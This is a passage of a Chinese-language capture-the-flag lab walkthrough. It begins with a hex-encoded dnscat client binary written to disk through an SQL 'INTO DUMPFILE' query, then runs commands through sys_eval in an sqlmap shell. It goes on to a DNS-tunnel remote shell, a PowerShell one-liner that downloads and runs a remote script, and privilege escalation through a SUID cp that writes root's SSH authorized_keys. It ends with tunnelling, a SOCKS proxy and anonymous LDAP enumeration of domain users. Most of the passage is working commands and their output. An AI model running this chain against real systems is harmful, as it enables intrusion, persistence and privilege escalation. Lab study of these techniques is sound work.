00140000005c3d0000535bffff4000000000440e207b0e080014000000743d00007b5bffff2500000000440e2000000000440000008c3d0000885bffffb702000000420e108e02420e188d03420e208c04410e288605410e308306470e50039f020e30410e28410e20420e18420e10420e080000000000000014000000d43d0000f75dffff3f00000000440e207a0e080064000000ec3d00001e5effff4d01000000420e108f02450e188e03420e208d04420e288c05490e308606410e388307460e600309010a0e38470e30410e28420e20420e18420e10420e08450b490e38410e30410e28420e20420e18420e10420e080000000000000034000000543e0000035fffffdd00000000410e108602440e188303470e3002a00a0e184a0e10410e084a0b590e18410e10410e08000000003c0000008c3e0000a85fffff7703000000420e108d02480e188c03410e208604440e288305440e40035d030e28410e20410e18420e10420e08000000000000004c000000cc3e0000df62ffff5f02000000420e108f024a0e188e03450e208d044a0e288c05490e308606440e388307440e600328020e38410e30410e28420e20420e18420e10420e0800000000000000140000001c3f0000ee64ffff3c00000000440e20730e08001c000000343f00001265ffff3400000000410e108302470e200000000000000014000000543f00002665ffff8400000000440e20027b0e08140000006c3f00009265ffff3e00000000440e200000000044000000843f0000b865ffffa302000000420e108e02450e188d03450e208c04440e288605440e308306470e50036c020e30470e28410e204b0e18420e10420e08000000000000004c000000cc3f00001368ffff6501000000420e108f02420e188e03480e208d04480e288c05470e308606410e388307440e60025b0a0e38410e30410e284c0e20420e18420e10450e08450b0000000000140000001c4000002869ffff5700000000440e20024e0e084c000000344000006546feff1206000000420e108f024a0e188e03420e208d044a0e288c05470e308606430e388307470ec00503de050e38410e30410e28420e20420e18420e10420e0800000000000044000000844000001869ffff6500000000420e108f02450e188e03450e208d04450e288c05480e308606480e3883074d0e406c0e38410e30410e28420e20420e18420e10420e080014000000cc4000004069ffff02000000000000000000000014000000e44000003869ffff1a000000000000000000000014000000fc4000004069ffff10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000402040000000000020204000000000000000000000000000010000000000000001000000000000000c0000000000000080144000000000000d00000000000000203d410000000000190000000000000010de6100000000001b0000000000000008000000000000001a0000000000000018de6100000000001c000000000000000800000000000000f5feff6f0000000098024000000000000500000000000000d8094000000000000600000000000000d0024000000000000a00000000000000a3020000000000000b00000000000000180000000000000015000000000000000000000000000000030000000000000000e061000000000002000000000000007806000000000000140000000000000007000000000000001700000000000000080e4000000000000700000000000000780d4000000000000800000000000000900000000000000009000000000000001800000000000000feffff6f00000000180d400000000000ffffff6f000000000100000000000000f0ffff6f000000007c0c400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000028de61000000000000000000000000000000000000000000b614400000000000c614400000000000d614400000000000e614400000000000f6144000000000000615400000000000161540000000000026154000000000003615400000000000461540000000000056154000000000006615400000000000761540000000000086154000000000009615400000000000a615400000000000b615400000000000c615400000000000d615400000000000e615400000000000f6154000000000000616400000000000161640000000000026164000000000003616400000000000461640000000000056164000000000006616400000000000761640000000000086164000000000009616400000000000a616400000000000b616400000000000c616400000000000d616400000000000e616400000000000f6164000000000000617400000000000161740000000000026174000000000003617400000000000461740000000000056174000000000006617400000000000761740000000000086174000000000009617400000000000a617400000000000b617400000000000c617400000000000d617400000000000e617400000000000f6174000000000000618400000000000161840000000000026184000000000003618400000000000461840000000000056184000000000006618400000000000761840000000000086184000000000009618400000000000a618400000000000b618400000000000c618400000000000d618400000000000e618400000000000f618400000000000000000000000000000000000000000000100000001000000e8030000ffffffff14000000000000000000000000000000f557410000000000fb57410000000000025841000000000007584100000000000d5841000000000014584100000000001a58410000000000205841000000000027584100000000002d5841000000000033584100000000003a58410000000000415841000000000047584100000000004c5841000000000053584100000000005a584100000000005f5841000000000066584100000000006d58410000000000725841000000000079584100000000007f5841000000000085584100000000008a58410000000000905841000000000096584100000000009c58410000000000a358410000000000aa58410000000000b058410000000000b658410000000000bd58410000000000c358410000000000c858410000000000cf58410000000000d658410000000000dd58410000000000e458410000000000e958410000000000ef58410000000000f658410000000000fb58410000000000025941000000000007594100000000000e5941000000000015594100000000001a59410000000000215941000000000028594100000000002f5941000000000035594100000000003c59410000000000435941000000000049594100000000004e5941000000000055594100000000005b5941000000000062594100000000006959410000000000705941000000000075594100000000007c59410000000000825941000000000089594100000000008f5941000000000096594100000000009c59410000000000a359410000000000aa59410000000000af59410000000000b659410000000000bd59410000000000c359410000000000c959410000000000cf59410000000000d659410000000000dd59410000000000e459410000000000eb59410000000000f159410000000000f759410000000000fd59410000000000045a4100000000000b5a410000000000125a410000000000195a4100000000001f5a410000000000265a4100000000002b5a410000000000305a410000000000365a4100000000003d5a410000000000435a410000000000485a4100000000004f5a410000000000565a4100000000005b5a410000000000625a410000000000695a410000000000705a410000000000775a4100000000007d5a410000000000845a4100000000008b5a410000000000925a410000000000985a4100000000009d5a410000000000a25a410000000000a95a410000000000af5a410000000000b55a410000000000bb5a410000000000c25a410000000000c75a410000000000ce5a410000000000d55a410000000000da5a410000000000e15a410000000000e85a410000000000ef5a410000000000f65a410000000000fc5a410000000000025b410000000000075b4100000000000e5b410000000000135b410000000000185b4100000000001f5b410000000000245b4100000000002b5b410000000000315b410000000000375b4100000000003e5b410000000000455b4100000000004a5b410000000000505b410000000000565b4100000000005d5b410000000000625b410000000000675b4100000000006e5b410000000000735b410000000000785b4100000000007f5b410000000000865b4100000000008c5b410000000000935b410000000000995b4100000000009f5b410000000000a65b410000000000ad5b410000000000b45b410000000000bb5b410000000000c25b410000000000c75b410000000000cd5b410000000000d35b410000000000d95b410000000000df5b410000000000e65b410000000000ed5b410000000000f35b410000000000fa5b410000000000015c410000000000065c4100000000000d5c410000000000135c410000000000195c410000000000205c410000000000255c4100000000002a5c410000000000305c410000000000375c4100000000003e5c410000000000445c410000000000495c410000000000505c410000000000575c4100000000005e5c410000000000645c410000000000695c410000000000705c410000000000765c4100000000007d5c410000000000845c4100000000008a5c410000000000915c410000000000985c4100000000009f5c410000000000a65c410000000000ad5c410000000000b45c410000000000ba5c410000000000c15c410000000000c75c410000000000ce5c410000000000d55c410000000000db5c410000000000e15c410000000000e75c410000000000ee5c410000000000f45c410000000000fb5c410000000000025d410000000000085d4100000000000f5d410000000000165d4100000000001d5d410000000000245d4100000000002a5d410000000000315d410000000000375d4100000000003e5d410000000000445d4100000000004b5d410000000000515d410000000000585d4100000000005e5d410000000000655d4100000000006a5d410000000000715d410000000000785d4100000000007f5d410000000000845d4100000000008a5d410000000000905d410000000000965d4100000000009b5d410000000000a25d410000000000a75d410000000000ac5d410000000000b25d410000000000b95d410000000000c05d410000000000c75d410000000000cd5d410000000000d25d410000000000d95d410000000000df5d410000000000e65d410000000000ed5d410000000000f45d410000000000fa5d410000000000015e410000000000075e4100000000000d5e410000000000125e410000000000185e4100000000001f5e410000000000265e4100000000002d5e410000000000325e410000000000385e4100000000003f5e410000000000455e41000000000011a5400000000000010000004743433a20285562756e747520342e382e342d327562756e7475317e31342e30342e332920342e382e3400002e7368737472746162002e696e74657270002e6e6f74652e4142492d746167002e6e6f74652e676e752e6275696c642d6964002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e696e69745f6172726179002e66696e695f6172726179002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b000000010000000200000000000000380240000000000038020000000000001c00000000000000000000000000000001000000000000000000000000000000130000000700000002000000000000005402400000000000540200000000000020000000000000000000000000000000040000000000000000000000000000002100000007000000020000000000000074024000000000007402000000000000240000000000000000000000000000000400000000000000000000000000000034000000f6ffff6f02000000000000009802400000000000980200000000000038000000000000000500000000000000080000000000000000000000000000003e0000000b0000000200000000000000d002400000000000d002000000000000080700000000000006000000010000000800000000000000180000000000000046000000030000000200000000000000d809400000000000d809000000000000a3020000000000000000000000000000010000000000000000000000000000004e000000ffffff6f02000000000000007c0c4000000000007c0c00000000000096000000000000000500000000000000020000000000000002000000000000005b000000feffff6f0200000000000000180d400000000000180d00000000000060000000000000000600000001000000080000000000000000000000000000006a000000040000000200000000000000780d400000000000780d000000000000900000000000000005000000000000000800000000000000180000000000000074000000040000000200000000000000080e400000000000080e0000000000007806000000000000050000000c000000080000000000000018000000000000007e000000010000000600000000000000801440000000000080140000000000001a0000000000000000000000000000000400000000000000000000000000000079000000010000000600000000000000a014400000000000a0140000000000006004000000000000000000000000000010000000000000001000000000000000840000000100000006000000000000000019400000000000001900000000000020240100000000000000000000000000100000000000000000000000000000008a000000010000000600000000000000203d410000000000203d010000000000090000000000000000000000000000000400000000000000000000000000000090000000010000000200000000000000303d410000000000303d010000000000004900000000000000000000000000001000000000000000000000000000000098000000010000000200000000000000308641000000000030860100000000006c0c000000000000000000000000000004000000000000000000000000000000a6000000010000000200000000000000a092410000000000a0920100000000004441000000000000000000000000000008000000000000000000000000000000b00000000e000000030000000000000010de61000000000010de0100000000000800000000000000000000000000000008000000000000000000000000000000bc0000000f000000030000000000000018de61000000000018de0100000000000800000000000000000000000000000008000000000000000000000000000000c800000001000000030000000000000020de61000000000020de0100000000000800000000000000000000000000000008000000000000000000000000000000cd00000006000000030000000000000028de61000000000028de010000000000d001000000000000060000000000000008000000000000001000000000000000d6000000010000000300000000000000f8df610000000000f8df0100000000000800000000000000000000000000000008000000000000000800000000000000db00000001000000030000000000000000e061000000000000e00100000000004002000000000000000000000000000008000000000000000800000000000000e400000001000000030000000000000040e261000000000040e20100000000003c08000000000000000000000000000010000000000000000000000000000000ea00000008000000030000000000000080ea6100000000007cea010000000000d000000000000000000000000000000020000000000000000000000000000000ef00000001000000300000000000000000000000000000007cea0100000000002b00000000000000000000000000000001000000000000000100000000000000010000000300000000000000000000000000000000000000a7ea010000000000f800000000000000000000000000000001000000000000000000000000000000 INTO DUMPFILE '/tmp/dnscat';

查看并验证是否写入成功,在写入成功后赋予执行权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
sql-shell> select sys_eval('md5sum /tmp/dnscat');
[12:01:22] [INFO] fetching SQL SELECT statement query output: 'select sys_eval('md5sum /tmp/dnscat')'
[12:01:22] [INFO] retrieving the length of query output
[12:01:22] [INFO] retrieved: 45
[12:01:27] [INFO] retrieved: 81774277433dfa6ebb3048e2350ee635  /tmp/dnscat
select sys_eval('md5sum /tmp/dnscat'): '81774277433dfa6ebb3048e2350ee635  /tmp/dnscat'

sql-shell> select sys_eval('chmod +x /tmp/dnscat');
[12:01:47] [INFO] fetching SQL SELECT statement query output: 'select sys_eval('chmod +x /tmp/dnscat')'
[12:01:47] [INFO] retrieving the length of query output
[12:01:47] [INFO] retrieved:
[12:01:48] [INFO] retrieved:
select sys_eval('chmod +x /tmp/dnscat'): ' '

sql-shell> select sys_eval('ls -al /tmp/dnscat');
[12:02:03] [INFO] fetching SQL SELECT statement query output: 'select sys_eval('ls -al /tmp/dnscat')'
[12:02:03] [INFO] retrieving the length of query output
[12:02:03] [INFO] retrieved: 56
[12:02:11] [INFO] retrieved: -rwxrwxrwx 1 mysql mysql 127648 Nov  7 12:01 /tmp/dnscat
select sys_eval('ls -al /tmp/dnscat'): '-rwxrwxrwx 1 mysql mysql 127648 Nov  7 12:01 /tmp/dnscat'

在攻击机上,开启 iagox86/dnscat2 服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@kali-server:~# dnscat2-server ns1.example.com

New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = ns1.example.com]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

  ./dnscat --secret=067ae04ca5efa677fb5796c565d0830e ns1.example.com

To talk directly to the server without a domain name, run:

  ./dnscat --dns server=x.x.x.x,port=53 --secret=067ae04ca5efa677fb5796c565d0830e

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.

dnscat2>

在被控机上执行 dnscat 客户端的命令:

1
sql-shell> select sys_eval('/tmp/dnscat --secret=067ae04ca5efa677fb5796c565d0830e ns1.example.com');

尝试过直接指定 dnscat 服务端 IP 为 DNS 服务器,但未连接成功:

1
dnscat --dns domain=ns1.example.com,server=x.x.x.x,port=53 --secret=067ae04ca5efa677fb5796c565d0830e

dnscat-powershell 版客户端命令:

1
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain your.domain.name -DNSServer 10.0.0.1

此时,服务端收到如下回显,表示连接成功:

1
2
3
4
dnscat2> New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)

注:在 dnscat2 服务端中,windows 和 sessions 命令效果是一样的;快捷键 ctrl+z 和 suspend、back 命令效果也是一样的。

查看并进入交互式 shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
dnscat2> windows
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = ns1.example.com [*]
  1 :: command (MYSQL) [encrypted and verified] [*]

dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

command (MYSQL) 1> shell
Sent request to execute a shell
New window created: 5
Shell session created!

command (MYSQL) 1> suspend

dnscat2> windows
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = ns1.example.com [*]
  1 :: command (MYSQL) [encrypted and verified]
  2 :: sh (MYSQL) [encrypted and verified] [*]

dnscat2> window -i 2
New window created: 2
history_size (session) => 1000
Session 2 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

sh (MYSQL) 2> whoami
mysql
sh (MYSQL) 2>

查找拥有 SUID 权限的命令:

1
2
3
4
5
6
7
sql-shell> select sys_eval('find / -perm -u=s -type f 2>/dev/null > /tmp/1.txt &');
[12:27:21] [INFO] fetching SQL SELECT statement query output: 'select sys_eval('find / -perm -u=s -type f 2>/dev/null > /tmp/1.txt &')'
[12:27:21] [INFO] retrieving the length of query output
[12:27:21] [INFO] retrieved:
[12:27:21] [INFO] retrieved:
select sys_eval('find / -perm -u=s -type f 2>/dev/null > /tmp/1.txt &'): ' '

利用有 SUID 权限的 cp 命令,向 root 用户目录写入 SSH 公钥:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
sh (MYSQL) 2> cat /tmp/1.txt
/bin/fusermount
/bin/ping6
/bin/mount
/bin/su
/bin/ping
/bin/umount
/bin/cp
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/staprun
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/s-nail/s-nail-privsep

sh (MYSQL) 6> echo 'ssh-rsa AAAxxxxxx' > /tmp/authorized_keys

sh (MYSQL) 2> cp /tmp/authorized_keys /root/.ssh/authorized_keys

Dnscat2 支持 TCP 转发,允许通过已建立的 DNS 隧道建立 SSH 或 RDP 连接:(语法与 ssh -L 大致相同)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
sh (MYSQL) 2> ifconfig
eth0      Link encap:Ethernet  HWaddr 00:16:3e:26:69:cb
          inet addr:172.22.61.41  Bcast:172.22.255.255  Mask:255.255.0.0
          inet6 addr: fe80::216:3eff:fe26:69cb/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:138972 errors:0 dropped:0 overruns:0 frame:0
          TX packets:82245 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:101274940 (101.2 MB)  TX bytes:14866264 (14.8 MB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:4 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:300 (300.0 B)  TX bytes:300 (300.0 B)

sh (MYSQL) 2>

# ctrl + z

dnscat2> window -i 1

command (MYSQL) 1> listen 0.0.0.0:2222 172.22.61.41:22
Listening on 0.0.0.0:2222, sending connections to 172.22.61.41:22
Connection from 222.244.120.98:16531; forwarding to 172.22.61.41:22...
[Tunnel 0] connection successful!

此时,将监听 dnscat2 服务端 2222 端口,并将该端口上的流量,通过隧道转发到 dnscat2 客户端内网主机 172.22.61.41 的 22 端口上。

连接服务器,获取到 root 权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@kali-server:~# ssh root@attacker_vps_ip -p 2222
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-210-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

Welcome to Alibaba Cloud Elastic Compute Service !

Last login: Tue Nov  7 12:41:38 2023 from 172.22.61.41
root@MYSQL:~# whoami
root
root@MYSQL:~# cat /root/flag/flag02.txt
▄▄▄▄▄▄▄                             ▀▀█    ▄    ▄
   █    ▄   ▄  ▄ ▄▄   ▄ ▄▄    ▄▄▄     █     █  █
   █    █   █  █▀  █  █▀  █  █▀  █    █      ██
   █    █   █  █   █  █   █  █▀▀▀▀    █     ▄▀▀▄
   █    ▀▄▄▀█  █   █  █   █  ▀█▄▄▀    ▀▄▄  ▄▀  ▀▄

flag02: flag{ed71eb83-64ea-4bfa-892b-01079eb97b09}

再使用 SSH 搭建 SOCKS5 代理:

1
root@kali-server:~# ssh -D 1080 -CfgN root@attacker_vps_ip -p 2222

注:由于 DNS 隧道的原因,SOCKS5 代理的速度非常慢。

第 3 关

关卡剧情:

寻找到主机上的薄弱点,尝试将权限提升至 SYSTEM。


cme 扫描内网:

1
2
3
4
root@kali-server:~# proxychains4 -q cme smb 172.22.61.41/24
SMB         172.22.61.17    445    DC               [*] Windows 10.0 Build 14393 x64 (name:DC) (domain:xiaorang.lab) (signing:True) (SMBv1:False)
SMB         172.22.61.34    445    WIN2012          [*] Windows 6.3 Build 9600 x64 (name:WIN2012) (domain:xiaorang.lab) (signing:False) (SMBv1:False)
SMB         172.22.61.50    445    WEB              [*] Windows 10.0 Build 14393 x64 (name:WEB) (domain:xiaorang.lab) (signing:False) (SMBv1:False)

LDAP 匿名绑定,获取所有域用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
root@kali-server:~# proxychains4 -q cme ldap 172.22.61.17 -u '' -p '' --users
SMB         172.22.61.17    445    DC               [*] Windows Server 2016 Datacenter 14393 x64 (name:DC) (domain:xiaorang.lab) (signing:True) (SMBv1:True)
LDAP        172.22.61.17    389    DC               [+] xiaorang.lab\:
LDAP        172.22.61.17    389    DC               [*] Total of records returned 74
LDAP        172.22.61.17    389    DC               DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Administrator,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Guest,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=DefaultAccount,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Administrators,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Users,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Guests,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Print Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Backup Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Replicator,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Remote Desktop Users,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Network Configuration Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Performance Monitor Users,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Performance Log Users,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Distributed COM Users,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=IIS_IUSRS,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Cryptographic Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Event Log Readers,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Certificate Service DCOM Access,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=RDS Remote Access Servers,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=RDS Endpoint Servers,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=RDS Management Servers,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Hyper-V Administrators,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Access Control Assistance Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Remote Management Users,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=System Managed Accounts Group,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Storage Replica Administrators,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=DC,OU=Domain Controllers,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=krbtgt,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Domain Computers,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Domain Controllers,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Schema Admins,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Enterprise Admins,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Cert Publishers,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Domain Admins,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Domain Users,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Domain Guests,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Group Policy Creator Owners,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=RAS and IAS Servers,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Server Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Account Operators,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Incoming Forest Trust Builders,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Windows Authorization Access Group,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Terminal Server License Servers,CN=Builtin,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Allowed RODC Password Replication Group,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Denied RODC Password Replication Group,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Read-only Domain Controllers,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Enterprise Read-only Domain Controllers,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Cloneable Domain Controllers,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Protected Users,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Key Admins,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=Enterprise Key Admins,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=DnsAdmins,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=DnsUpdateProxy,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=wangmei,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=zhangjing,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=wangyong,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=huangyong,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=lixiang,CN=Users,DC=xiaorang,DC=lab
LDAP        172.22.61.17    389    DC               CN=chenlei,CN=Users,DC=xiaorang,DC=lab
